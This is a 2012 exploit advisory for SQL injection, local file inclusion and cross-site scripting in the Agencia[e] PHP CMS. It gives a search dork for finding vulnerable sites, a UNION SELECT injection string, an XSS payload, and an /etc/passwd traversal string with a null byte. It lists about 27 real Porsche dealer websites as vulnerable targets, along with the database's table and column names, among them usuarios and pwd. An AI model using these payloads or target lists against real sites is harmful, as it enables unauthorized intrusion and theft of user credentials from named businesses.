Agencia[e] XSS / LFI / SQL Injection

`  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
INDEPENDENT SECURITY RESEARCHER   
PENETRATION TESTING SECURITY  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
# Author: Ur0b0r0x  
# Tiwtte: @Ur0b0r0x  
# Email: [email protected]  
# Line: GreyHat  
  
  
# Exploit Title: Agencia[e] - SQL Injection / LFI / XSS Vulnerabilities  
# Dork: intext: inurl:eventos_mas.php?ideve=  
# Date: 16/11/2012  
# Author: Ur0b0r0x  
# Url Vendor: http://www.agenciae.tv/  
# Vendor Name: Agencia[e]  
# Tested On: Backtrack R3 / Linux Mint  
# Type: php  
# Info: Offical Center Porsche In Spain  
  
------------------- Agreement --------------------  
[12/11/2012] - Vulnerability discovered  
[15/11/2012] - Vendor notified Dont responsed  
[16/11/2012] - Public disclosure   
--------------------------------------------------  
  
# Expl0it/P0c ###################  
http://site.com/eventos_mas.php?ideve= < Sql Vulnerability Path >  
http://site.com/eventos_mas.php?ideve= < LFi Vulnerability Path >  
http://site.com/eventos_mas.php?ideve= < XSS Vulnerability Path >  
  
  
# Exploit/Comand/Sql=> +union+select+1,2,3,4--+  
# Exploit/Comand/Xss=> "><img src=x onerror=alert("ur0b0r0x");>   
# Exploit/Comand/Lfi=> /../../../../../../../etc/passwd%00/../../../  
# Payload/Comand/Sql=> table_schema=00x5E6536C65716672756732423423 / table_name=0x44F6277C616670x5E6536C65756546269  
  
# Demo_Xss_Sql_Vulnerabilities  
http://www.porsche-valencia.com/eventos_mas.php?ideve=14'  
http://www.porsche-madridoeste.com/eventos_mas.php?ideve=201'  
http://www.porsche-barcelona.com/eventos_mas.php?ideve=237'  
http://www.porsche-alicante.com/eventos_mas.php?ideve=184'  
http://www.porsche-pamplona.com/eventos_mas.php?ideve=351'  
http://www.porsche-bilbao.com/eventos_mas.php?ideve=353'  
http://www.porsche-ibercarrera.com/eventos_mas.php?ideve=356'  
http://www.porsche-zaragoza.com/eventos_mas.php?ideve=105'  
http://www.porsche-murcia.com/eventos_mas.php?ideve=474'  
http://www.porsche-malaga.com/eventos_mas.php?ideve=436'  
http://www.porsche-castellon.com/eventos_mas.php?ideve=291'  
http://www.porsche-marbella.com/eventos_mas.php?ideve=160'  
http://www.porsche-canarias.com/eventos_mas.php?ideve=182'  
http://www.porsche-madridnorte.com/eventos_mas.php?ideve=175'  
http://porsche-baleares.com/eventos_mas.php?ideve=73'  
http://porsche-asturias.com/eventos_mas.php?ideve=418'  
http://www.porsche-sevilla.com/eventos_mas.php?ideve=443'  
http://www.porsche-acoruna.com/eventos_mas.php?ideve=424'  
http://www.centrosporsche.com/centros/eventos_mas.php?ideve=51'  
http://porsche-valladolid.com/eventos_mas.php?ideve=59'  
http://www.porsche-pamplona.com/eventos_mas.php?ideve=53'  
http://www.porsche-ibercarrera.com/eventos_mas.php?ideve=288'  
http://www.porsche-tenerife.com/eventos_mas.php?ideve=9'  
http://www.porsche-braga.com/eventos_mas.php?ideve=243'  
http://www.porsche-faro.com/eventos_mas.php?ideve=314'  
http://www.porsche-lisboa.com/eventos_mas.php?ideve=219'  
http://www.porsche-leiria.com/eventos_mas.php?ideve=220'  
  
# The Same Tables And Columns All Site Vulnerability  
+----------+  
| control |  
| eventos |  
| noticias |  
| usuarios |  
+----------+  
+---------+  
| Column |  
+---------+  
| alias |  
| id |  
| nombre |  
| pwd |  
| sid |   
| url |   
| usuario |  
+---------+  
`